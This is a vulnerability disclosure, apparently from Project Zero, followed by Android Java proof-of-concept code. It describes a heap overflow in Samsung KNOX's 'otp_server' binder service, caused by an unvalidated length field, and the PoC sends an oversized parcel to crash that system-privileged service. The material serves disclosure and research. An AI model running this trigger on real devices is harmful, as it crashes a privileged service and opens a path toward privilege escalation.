/**
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=935
As a part of the KNOX extensions available on Samsung devices, Samsung provides a new service which allows the generation of OTP tokens.
The tokens themselves are generated in a TrustZone application within the TEE (UID: fffffffff0000000000000000000001e). However, in order to allow easy communication between the Non-secure World (NWD) and the Secure-World (SW) trustlet, a new server has been created. This server, called "otp_server", publishes a binder service called "OTP".
The service provides a single command via binder (command code 2), which allows a client to provide a buffer from the NWD to be sent to the SW. The requests are serialized to the parcel as a 32-bit length field, followed by the actual request data.
However, "otp_server" does not validate the request length field at all, allowing an attacker to specify any value. This length field is then used in a "memcpy" call in order to copy the data from the parcel to an internal heap-allocated buffer.
On the device I'm working on (SM-G925V), the "OTP" service can be accessed from any user, and the "otp_server" process runs with UID system and context "u:r:otp_server:s0".
I've attached a small PoC which can be used to trigger the overflow. Running it should crash "otp_server".
*/
package com.example.laginimaineb.otp;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
public class MainActivity extends AppCompatActivity {
/**
* The logtag used.
*/
private static final String LOGTAG = "OTP_TEST";
/**
* The name of the OTP binder service.
*/
private static final String INTERFACE_DESCRIPTOR = "OTP";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
//Getting the binder
Class smClass = Class.forName("android.os.ServiceManager");
IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR);
//Creating a connection
Parcel parcel = Parcel.obtain();
Parcel reply = Parcel.obtain();
parcel.writeInterfaceToken(INTERFACE_DESCRIPTOR);
int length = 0xFFFF;
parcel.writeInt(length); //Buffer length
for (int i = 0; i < length/4 + 1; i++)
parcel.writeInt(0xABABABAB);
binder.transact(2, parcel, reply, 0);
reply.recycle();
parcel.recycle();
} catch (RemoteException ex) {
Log.e(LOGTAG, "Failed to communicate with remote binder", ex);
}
}
}
